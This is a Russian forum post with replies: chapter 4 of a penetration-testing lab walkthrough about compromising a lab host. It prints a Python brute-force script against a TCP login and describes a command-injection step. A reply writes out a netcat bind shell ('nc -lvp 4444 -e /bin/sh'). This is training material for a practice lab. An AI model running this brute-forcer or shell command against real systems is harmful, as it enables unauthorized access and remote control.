Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

Глава 4
Предыдущая глава
Следующая глава
Оглавление

tl10.png

Приветствую вас колеги.
Сегодня настало время очередного токена.
Сегодня будем побеждать Web Control (192.168.0.6) и рассмотрим такой вектор как Command Injection.
Почитать про Command Injection можно тут, тут. Но также вспомним про атаку на слабые пароли методом брутфорса.
Для начала ,как всегда просканим порты:
1.PNG

Пробуем подключится с помощью нетката:

2.PNG

Видим обычную tcp socket аутентификацию... Первое что на ум приходит при встрече с аутентификацией - это перебор пароля на легкие словарные пароли.
Что мы в первую очередь и будем пробовать.
Для удобства я пробросил порт,как это делать я описывал в прошлой статье
3.PNG

Но стандартных брутфорсов для таких целей я также пока не встречал,по этому на помощь снова приходят базовые знание программирования на питон. Набросал простенький скрипт для перебора паролей - я прогнал его по учетным записям из уже известным нам (которые мы получили на ssh машине) ,но увы мой брутфорс не дал результатов. И спустя некоторое время ковыряясь в этой корпоративной сети ,на некоторых машинах я замечал что при попытке сброса пароля например на клауде(cloud "172.16.0.3") я заметил что существует учетная запись admin. И тут на ум приходит прогнать брутфорс еще по таким учеткам как admin,root,cloud,user,test.
Брутил я словарю из john the ripper:
4.PNG

Я не гуру в программирование на питон,и по этому мой скрипт выглядит совсем по простому,
я использовал там только цикл для перебора по словарю,библиотеку socket для работы с tcp соединением,и обычное if else условия).Выглядит мой скрипт примерно так:

5.PNG

Python:
import socket
from termcolor import colored

users=['admin','root','user']
with open('pass.txt','r') as fs:
    for p in fs.readlines():  
        for n in users:
            sock = socket.socket()
            sock.connect(('127.0.0.1', 1503))
            sock.recv(1024)
            sock.send(n+"\n")
            sock.recv(1024)
            sock.send(p.strip()+"\n")
            data=sock.recv(1024)
            sock.close()
            if 'Error!' in data:
                print colored('[-] ','red')+colored(n,'yellow')+' '+colored(p,'yellow')
            else:
                print colored("[+]Good ","green") +colored(n,'cyan')+' '+colored(p,'cyan')
                break      
        if 'Error' not in data:
            print colored("[ *** ] Brute Finished Succes!","magenta")
            break
К выше сказаному добавлю что использовал в скрипте расцветку (библиотека colored)
массив пользователей из трех на мой взгляд распространенных учетных записей.Затем циклически перебрал словарь,и если в ответе сервера не было фразы "Error!" то закончить цикл и вывести логин и пароль который подошел к tcp socket аутентификации.
В деле это выглядит как то так:
6.PNG


Получил логин и пароль,пробуем подключится. Подключившись замечаем работу какого то приложения которое работает в интерактивном режиме и которое запрашивает пользовательский ввод,а везде есть пользовательский ввод - запомните!!!- это уже повод думать что там может быть инъекция!!!!!
Вооружившись знаниями об command injection пробуем различные варианты выполнить инъекцию.

7.PNG

Здесь мы использовали Bind Shell , потому что ssh машина (172.16.0.8) и web_control машина (192.168.0.6) находятся в разных сегментах сети.
Подробнее о том что такое bind и reverse shell можете прочесть в моей статье для новичков.

Дальше дело за малым) Найти токен) Первым делом когда попадаю на машину я пользуюсь командой
find для поиска имен файлов которые в своем имени содержат слово "token"
Выглядит моя команда так:
Код:
find / -type f -name "*token*"
8.PNG


Всем спасибо) Продолжение следует)
Если понравилась статья - ставь лайк) Мне будет приятно)
Вот демо-видео :
Предыдущая глава
Следующая глава
Оглавление
 

Вложения

Тоже не могу с помощью клавиш войти в меню туннелирования.
[doublepost=1487259999,1487254304][/doublepost]
подскажите. есть ли другая команда входа в меню туннелирования в SSH ? через комбинацию "Shift" + "~" + "c" заходит в данное меню один раз на миллион...
попробуй много раз вводить enter, а дальше прожать "Shift" + "~" + "c" ,если не полусилось, то стерай и снова enter. С 2-4 раза получится.
P.S. Английская расскладка.
 
Тоже не могу с помощью клавиш войти в меню туннелирования.
[doublepost=1487259999,1487254304][/doublepost]
попробуй много раз вводить enter, а дальше прожать "Shift" + "~" + "c" ,если не полусилось, то стерай и снова enter. С 2-4 раза получится.
P.S. Английская расскладка.
у меня в Кали русский я не ставил ... а решил через ssh login@192.168.101.9 -L port:192.168.0.6:port , а то беда с єтим режимом, фиг войдешь .. как заколдованный... правда приходится по ssh дважды коннектиться , но это лучше чем упражняться в "одновременности" нажатий клавиш :)
 
pip install termcolor почему то не работает
Как это можно исправить?
 

Вложения

  • Выделение_053.png
    Выделение_053.png
    2,9 КБ · Просмотры: 322
Очень Хитрый Автор ) Как Макинтош ) Но и за это огромное спасибо ...... Удачи наш Учитель ....
 
  • Нравится
Реакции: <~DarkNode~>
Это. Прекрасно.
[doublepost=1491139872,1491138465][/doublepost]Прадва я не понял, зачем пробрасывать порт? Нельзя ли было брутить сразу на 192.168.0.6 и почему?
[doublepost=1491217511][/doublepost]Разобрался
 
Это. Прекрасно.
[doublepost=1491139872,1491138465][/doublepost]Прадва я не понял, зачем пробрасывать порт? Нельзя ли было брутить сразу на 192.168.0.6 и почему?
[doublepost=1491217511][/doublepost]Разобрался

Чтобы со своей тачки стучаться
 
После внедрнения bind shell'а, не коннектится машинка к указаному порту. Просто зависает при коннекте, мб были у кого схожие симптомы?

Попробуйте так (я получил шелл на порту 4444):

на удаленном хосте:
nc -lvp 4444 -e /bin/sh

коннект с машины ssh(172.16.0.8)
nc -nv 192.168.0.6 4444


Заметил одну особенность. Если в приложение, в которое тут внедряется команда, передавать очень большие числа, иногда крашится соединение с хостом 192.168.0.6
 
Последнее редактирование модератором:
  • Нравится
Реакции: Сергей Попов
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab